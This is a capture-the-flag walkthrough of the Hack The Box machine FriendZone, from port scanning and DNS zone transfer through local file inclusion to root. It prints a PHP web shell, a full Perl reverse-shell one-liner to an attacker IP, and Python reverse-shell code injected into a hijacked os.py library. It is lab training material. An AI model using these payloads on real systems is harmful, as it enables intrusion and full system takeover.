This post documents the complete walkthrough of FriendZone, a retired vulnerable VM created by askar, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

FriendZone is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.123 --rate=1000 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-02-10 12:52:26 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 21/tcp on 10.10.10.123 Discovered open port 22/tcp on 10.10.10.123 Discovered open port 80/tcp on 10.10.10.123 Discovered open port 137/udp on 10.10.10.123 Discovered open port 53/udp on 10.10.10.123 Discovered open port 53/tcp on 10.10.10.123 Discovered open port 443/tcp on 10.10.10.123 Discovered open port 445/tcp on 10.10.10.123 Discovered open port 139/tcp on 10.10.10.123

Whoa! masscan finds seven open TCP ports. Let’s do one better with nmap scanning the discovered ports.

# nmap -n -v -Pn -p21,22,53,80,139,443,445 -A --reason -oN nmap.txt 10.10.10.123 ... PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA) | 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA) |_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519) 53/tcp open domain syn-ack ttl 63 ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Friend Zone Escape software 139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.29 | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: 404 Not Found | ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO | Issuer: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-10-05T21:02:30 | Not valid after: 2018-11-04T21:02:30 | MD5: c144 1868 5e8b 468d fc7d 888b 1123 781c |_SHA-1: 88d2 e8ee 1c2c dbd3 ea55 2e5e cdd4 e94c 4c8b 9233 |_ssl-date: TLS randomness does not represent time | tls-alpn: | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 | http/1.1 |_ http/1.1 445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) ... Host script results: |_clock-skew: mean: -39m58s, deviation: 1h09m15s, median: 0s | nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | Names: | FRIENDZONE<00> Flags: <unique><active> | FRIENDZONE<03> Flags: <unique><active> | FRIENDZONE<20> Flags: <unique><active> | WORKGROUP<00> Flags: <group><active> |_ WORKGROUP<1e> Flags: <group><active> | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) | Computer name: friendzone | NetBIOS computer name: FRIENDZONE\x00 | Domain name: \x00 | FQDN: friendzone |_ System time: 2019-02-11T15:20:34+02:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-02-11 13:20:34 |_ start_date: N/A

Jeez. There are so many services I don’t know where to start! Let’s start with SMB or Samba in this case. We can use null session to enumerate the shares like so.

Excellent. We have a couple of shares that we can explore.

Information Disclosure

Among the three shares, we can mount general and Development without any credentials.

# mount -t cifs -o username=guest,rw //10.10.10.123/general ./general # mount -t cifs -o username=guest,rw //10.10.10.123/Development ./development

In general , there’s a file creds.txt that looks like this.

Meanwhile, in Development , I can write files to it and it’s already crowded with files. I’m pretty sure these files weren’t there when the box was created. Too bad the credential ( admin:[email protected]# ) can’t mount the Files share. I’ll just have to keep this in mind while I explore other services.

DNS Zone Transfer

Let’s turn our attention on the http service. This is how it looks like on the browser.

Ouch!

There’s our first clue. Recall the box runs a DNS service? The DNS server probably takes care of the friendzoneportal.red zone? Let’s see if we can do a zone transfer on the box.

Awesome. Experience tells me I should put those subdomains into /etc/hosts .

# echo -e "10.10.10.123\t$(host -l friendzoneportal.red 10.10.10.123 | grep "has address" | cut -d' ' -f1 | tr '

' ' ')" >> /etc/hosts

But, wait. There’s another zone— friendzone.red exposed by the ssl/http service, discovered in our nmap scan.

Same thing. Put these subdomains to /etc/hosts .

# echo -e "10.10.10.123\t$(host -l friendzone.red 10.10.10.123 | grep "has address" | cut -d' ' -f1 | tr '

' ' ')" >> /etc/hosts

In the Zone

The domain friendzoneportal.red is a rabbit hole. Suffice to say, I’ve done my enumeration and it didn’t yield any useful results. Meanwhile, the domain friendzone.red is the real deal under https . Check this out.

administrator1.friendzone.htb

uploads.friendzone.htb

Recall the credentials earlier? Perhaps it’ll work with this admin THING?

It worked!

Let’s do as told and visit /dashboard.php , shall we?

Looking at the hint on the page, I suspect a local file inclusion (LFI) vulnerability is in the cards. Let’s test it out.

I strongly suspect a timestamp.php page is present.

Ha Ha! An inexperienced developer. Now that I know a LFI vulnerability is present, I need a way to exploit it to read files. Enter PHP Filter.

Using the following filter, I was able to ignore another rabbit hole—the uploads page. I’m not even going to show the dashboard.php code. It’s not a pretty sight.

pagename=php://filter/convert.base64-encode/resource=/var/www/uploads/upload

See? You are never going to upload anything.

<?php // not finished yet -- friendzone admin ! if ( isset ( $_POST [ "image" ])) { echo "Uploaded successfully !<br>" ; echo time () + 3600 ; } else { echo "WHAT ARE YOU TRYING TO DO HOOOOOOMAN !" ; } ?>

Recall that I was able to write to Directory ? Let’s write a small PHP file to prove that we are able to run PHP code.

info.php

# echo "<?php phpinfo(); ?>" > info.php

In the shares comment, Files was shown to be mapped to /etc/Files . By extension, Development should be mapped to /etc/Development .

Awesome. Now, let’s step up the game and write another small PHP file, that allows us to execute remote commands.

cmd.php

# echo '<?php echo shell_exec($_GET[0]); ?>' > cmd.php

Sweet. Time to get ourselves a Perl reverse shell.

Low-Privilege Shell

Here’s the Perl one-liner I use.

perl -e 'use Socket;$i="10.10.12.246";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Of course, it’s best to urlencode it to prevent complications in the browser’s address bar.

Better upgrade my shell to a full TTY.

Privilege Escalation

During enumeration of www-data ’s account, I saw the credentials of friend lurking in /var/www/mysql_data.conf .

The funny thing is MySQL is not even running! Well, let’s su ourselves as friend .

The file user.txt is at friend ’s home directory.

Moving on, I noticed two interesting pieces of information:

/usr/lib/python2.7/os.py is world-writable

is world-writable /opt/server-admin/report.py imports the os module

I think I know where this is going: privilege escalation via python library hijacking. If I had to guess, I would say there’s a cron job running as root that executes /opt/server-admin/reporter.py .

Here’s the game plan.

First, I log it to friend via SSH. This is easy since I already have friend ’s password. Then I scp a copy of os.py over to the box with the following code appended.

import os, socket, pty s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('10.10.12.246',4321)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/bash") s.close()

Two minutes later, a root shell appears in my nc listener.